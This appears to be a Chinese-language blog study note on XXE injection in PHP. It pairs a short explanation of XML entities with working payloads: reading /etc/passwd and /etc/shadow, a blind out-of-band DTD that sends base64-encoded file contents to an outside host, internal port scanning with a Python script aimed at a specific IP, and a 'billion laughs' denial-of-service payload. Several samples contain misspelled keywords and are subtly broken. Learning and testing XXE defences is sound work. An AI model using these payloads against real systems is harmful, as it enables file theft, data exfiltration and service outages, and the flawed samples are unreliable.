php_xxe
实体的概念:
命名实体
命名实体(在 XML 规范中也称为内部实体)就是我们在谈论 “实体” 时所指的实体。命名实体在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,php_在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。
举例:
这里有DTD的详解
<?xml version="1.0" encoding="utf-8"?> #xml定义,表明了版本以及编码方式
<!DOCTYPE test[ #内部DTD
<!ELEMENT test ANY> #声明了一个约束元素,任何内容都可以
<!ENTITY xxe "test"> #一个内部实体,名字是xxe 内容为“test”
]>
<test>
<name>&xxe;</name>对实体的引用
</test>
外部实体
外部实体表示外部文件的内容。
内部DTD:
<?xml version="1.0" encodiing="utf-8"?>
<!DOCTYPE test[
<!ELEMENT test ANY>
<!ENEITY test SYSTEM "file:///etc/passwd"> #这里使用了system
]>
<root>
<name>&test;</name>
</root>
外部DTD:
<!ENTITY % payload SYSTEM "flie:///etc/passwd">
<!ENTITY % test STSTEM "<!ENTITY % pass SYSTEM 'http://test/index.php?test=%payload'>">
#这是一个叫test.dtd的文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY % cmd "http://test.dtd">
%cmd;
%payload;
%test;
]>
参数实体:
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
总结就是实体就相当于c++语言中的一个变量但又不是很相同,它可以存储和传输数据,同时又可以解析其内容。
注意:xml对于大小写敏感,xml中不允许出现%,<,>等等,要使用的话必须要经过转义,xml只能有一个根节点
转载于:添加链接描述
xxe注入的原理:添加链接描述
实验1:简单的xxe
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe(这个xxe是根元素) [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xxe>
&xxe;
</xxe>
实验2:使用外部DTD的简单xxe
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///etc/shadow">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://309k59m623.wicp.vip/test.dtd">
%dtd; ]>
<root>&all;</root>
外部DTD:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
上面这种方式是因为xml不许出现<>和%,而在外部DTD中则没有这个限制
解析过程:
先解析了%dtd,而dtd引入了一个外部实体,外部实体中又引用了%start,%goodies,%end,这样最终就用<![CDATA[***]]>要输出的文件包裹了起来,就可以读取文件中含有<>的内容了
实验3:Blind OOB XXE
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://309k59m623.wicp.vip/test.dtd">
%remote;%int;%send;
]>
外部DTD:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> #使用base64对输出的字符进行了编码
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://309k59m623.wicp.vip/test.php?id=%file;'>"> #将前面的输出作为这里get参数的输入,然后再保存于本地的txt文件中
这个用法主要就是针对于没有回显的xxe注入,通过oob的方式将我们要的数据给拿到了,注意在int中声明的参数实体的%要用html进行编码,否则会出现这种情况:
正确的显示:
尽管这里出现了warning但是可以看到还是读取到了我们想要的内容:
这里也可以进行远程命令的执行,但是前提是要安装了excpet扩展
这里也可以进行对于内外网的端口扫描
内网payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ELEMENT test ANY>
<!ENTITY % scan SYSTEM "http://127.0.0.1:81">
%scan;
]>
<root>
<test>4</test>
</root>
可以看到如果是等待了很久或者 Connection refused那么一般就是没有打开这个端口或者被防火墙过滤了,如果大佬们知道怎么样更好的去扫描端口请给我说一下。
大佬的脚本:
import requests
import base64
#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>
def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i #这里的ip改为你扫描对象内网的ip
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue
实验4:DOS攻击
<?xml version="1.0" ?>
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
分析:
可以看到,首先定义了实体lol 其内容是字符串“lol”,然后在实体lol1中多次引用了lol,实体lol2又多次引用了实体lol1,那么可以看出,每一个实体对于上一个实体的引用都会导致字符串呈现几何级的增长,以至于到最后出现上亿条字符串,从而让服务器拒绝服务。
以上就是我目前能够了解到的知识,对于XML Schema以后再看吧